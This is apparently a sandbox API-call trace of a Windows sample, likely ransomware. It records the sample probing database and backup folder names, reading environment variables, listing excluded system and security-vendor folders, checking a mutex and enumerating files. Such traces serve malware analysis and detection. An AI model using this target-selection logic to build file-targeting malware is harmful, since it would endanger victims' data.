CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0053.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0053.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0053.732] GetLastError () returned 0x2 [0053.732] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0053.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0053.733] GetLastError () returned 0x2 [0053.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0053.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0053.733] GetLastError () returned 0x2 [0053.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0053.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18셤R\x18j")) returned 0xffffffff [0053.734] GetLastError () returned 0x2 [0053.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18q")) returned 0xffffffff [0053.734] GetLastError () returned 0x2 [0053.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0053.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0053.735] GetLastError () returned 0x2 [0053.735] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0053.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0053.735] GetLastError () returned 0x2 [0053.735] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0053.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0053.736] GetLastError () returned 0x2 [0053.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0053.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0053.736] GetLastError () returned 0x2 [0053.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0053.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0053.737] GetLastError () returned 0x2 [0053.737] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0053.737] GlobalLock (hMem=0x440004) returned 0x550170 [0053.737] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.737] GlobalUnlock (hMem=0x440004) returned 0 [0053.737] GlobalLock (hMem=0x440004) returned 0x550170 [0053.737] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.737] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.737] GlobalUnlock (hMem=0x440004) returned 0 [0053.737] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.737] GlobalUnlock (hMem=0x44000c) returned 0 [0053.737] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.737] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.737] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0053.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.738] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0053.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0053.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.738] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.738] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.738] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0053.738] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.738] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.738] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.738] GlobalUnlock (hMem=0x44000c) returned 0 [0053.738] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.738] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.738] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.738] GlobalUnlock (hMem=0x44000c) returned 0 [0053.738] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.738] GlobalUnlock (hMem=0x440004) returned 0 [0053.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0053.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0053.739] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0053.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4a0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.740] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\satin\\") returned 0x3e [0053.740] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0053.740] GlobalLock (hMem=0x440004) returned 0x550170 [0053.740] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.740] GlobalUnlock (hMem=0x440004) returned 0 [0053.740] GlobalLock (hMem=0x440004) returned 0x550170 [0053.740] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.740] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.740] GlobalUnlock (hMem=0x440004) returned 0 [0053.740] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.740] GlobalUnlock (hMem=0x44000c) returned 0 [0053.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.741] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.741] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.741] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.741] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.741] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.741] GlobalUnlock (hMem=0x44000c) returned 0 [0053.741] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.741] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.741] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.741] GlobalUnlock (hMem=0x44000c) returned 0 [0053.741] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.741] GlobalUnlock (hMem=0x440004) returned 0 [0053.741] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.741] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 